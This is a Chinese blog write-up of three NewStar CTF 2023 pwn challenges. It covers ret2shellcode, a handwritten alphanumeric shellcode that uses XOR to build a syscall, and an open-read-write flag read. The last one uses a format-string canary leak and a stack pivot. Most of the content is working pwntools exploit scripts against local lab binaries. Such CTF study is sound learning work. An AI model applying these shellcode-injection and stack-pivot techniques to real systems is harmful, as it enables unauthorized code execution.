PWNshellcode技巧newstar2023三道shellcode题

week1-ret2shellcode

mmap直接创建一个块出来,可以从该地址直接执行shellcode,用read函数写入shellcode,然后DUMPOUT到块中执行shellcode,告诉我们shellcode要在可以执行的地方执行

 

from pwn import *
context.arch = 'amd64'
p = process("./ezshellcode")

shellcode = asm(shellcraft.sh())
p.sendline(shellcode)

p.interactive()

week2-shellcode revenge

和上一道题不一样的是,这道题不能read后直接DUMPOUT(),而是多了一个if判断,意在让shellcode只输入大写字母和数字,这道题的思路是:

1.利用手写shellcode完成了syscall调用read函数的操作,然后利用read读入不受限制的shellcode,不受限制的shellcode直接利用pwntools生成

2.多利用异或,手写一段只有大写字母和数字的shellcode

这道题还并不是很懂,对shellcode编写还有一些地方不懂,就不过多发表自己的拙见了,以下是官方wp

from pwn import *
context.arch = 'amd64'
p = process('./shellcodere')
#payload = b'4P1BV4P3BJ1BJ1BVSX3BN1BZSX3BR1BZ0B80BB0BH0BIVX4V1BJSX4V30J0BJ484U38JVZPPEOJ29655CPJJ085PPXPP'


payload = b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x37' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x38' #31 42 38 xor DWORD PTR [rdx+0x38], eax
#上面是异或的操作,下面是需要异或的syscall,由于syscall的机器码为"0f 05",而f受限制
#因此用A即0x41异或0x4e,0x44:0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2   #syscall
payload += b'A'*8
p.sendlineafter("magic\n",payload)
#gdb.attach(p)
pause()
p.sendline(b'\x90'*0x40+asm(shellcraft.sh())) #\x90 也就是nop指令,由于离shellcode还有一段距离,就用nop跳板填充


p.interactive()

调试一下

week3-ezorw

orw也就是用open,read,write打印出flag

题目newstar week3 ezorw

这道题开启了canary保护,同时它的gadgets非常少,不太好利用,结合它给的压缩包里面有lib.so文件,可以猜到它要我们泄露libc,但是由于我刚学习了栈迁移这个套路,这道题也可以用栈迁移来完成。

在用ROPgadget 的过程中,不但知道了它的gadgets非常少,也发现了个pop rbp;ret的gadget,这意味这可以用栈迁移,将rbp迁移到程序开辟好的块0x66660000中,然后在里面写入,执行shellcode。

首先是泄露canary,由于canary最后两位是00,而且在rbp的上面,很快就知道偏移为%11$p

第一次发送泄露canary

p.sendlineafter(b"Try to escape the sandbox\n",b"%11$p")
canary = int(p.recv(18),16)
print(hex(canary))

第二次发送,栈迁移

然后看到这个地方,read函数的第二个参数实际上是rbp-0x30,详见关于栈迁移的文章

此时发送的payload:

注意ret_read的位置

pop_rbp_ret = 0x40121d
ret_read = 0x401382
payload = b'a'*0x28+p64(canary)+b'b'*0x8+p64(pop_rbp_ret)+p64(0x66660100)+p64(ret_read)
p.sendlineafter(b"I think you can get flag now\n",payload)

第三次发送,即到块里面写入shellcode,ret到shellcode的地址直接执行

payload2 = b'a'*0x28+p64(canary)+b'b'*0x8+p64(0x66660110)+asm(payload_orw)
p.sendline(payload2)

 创建一个flag文件,然后打印出来

 

from pwn import *
context(arch='amd64',os='linux')
p = process("./ezorw")

p.sendlineafter(b"Try to escape the sandbox\n",b"%11$p")
canary = int(p.recv(18),16)
print(hex(canary))

pop_rbp_ret = 0x40121d
ret_read = 0x401382
payload = b'a'*0x28+p64(canary)+b'b'*0x8+p64(pop_rbp_ret)+p64(0x66660100)+p64(ret_read)
p.sendlineafter(b"I think you can get flag now\n",payload)

payload_orw = shellcraft.open("flag")
payload_orw += shellcraft.read(3,0x66660000,100)
payload_orw += shellcraft.write(1,0x66660000,100)

payload2 = b'a'*0x28+p64(canary)+b'b'*0x8+p64(0x66660110)+asm(payload_orw)
p.sendline(payload2)

p.interactive()

 

  • 11
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值